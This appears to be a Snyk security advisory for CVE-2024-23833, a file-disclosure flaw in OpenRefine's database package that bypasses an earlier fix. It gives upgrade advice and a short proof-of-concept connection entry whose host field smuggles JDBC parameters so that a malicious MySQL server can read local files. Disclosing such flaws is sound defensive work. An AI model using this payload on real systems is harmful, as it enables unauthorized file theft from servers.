Uninitialized Memory Exposure Affecting org.openrefine:database package, versions [,3.8-beta1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (38th
percentile)
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Test your applications- Snyk ID SNYK-JAVA-ORGOPENREFINE-6247634
- published 15 Feb 2024
- disclosed 12 Feb 2024
- credit Unknown
Introduced: 12 Feb 2024
CVE-2024-23833 Open this link in a new tabHow to fix?
Upgrade org.openrefine:database to version 3.8-beta1 or higher.
Overview
Affected versions of this package are vulnerable to Uninitialized Memory Exposure due to improper validation of user-supplied input in the getConnection method. An attacker can stand up a malicious MySQL Server to disclose files on the target server via JDBC connection string parameters.
Note: This is a bypass for CVE-2023-41887.
PoC
Type: MySQL
Host: 127.0.0.1:3306,(host=127.0.0.1,port=3306,autoDeserialize=true,allowLoadLocalInfile=true,allowUrlInLocalInfile=true,allowLoadLocalInfileInPath=true),127.0.0.1
Port: 3306
User: win_hosts
Database: test
References
CVSS Scores
version 3.1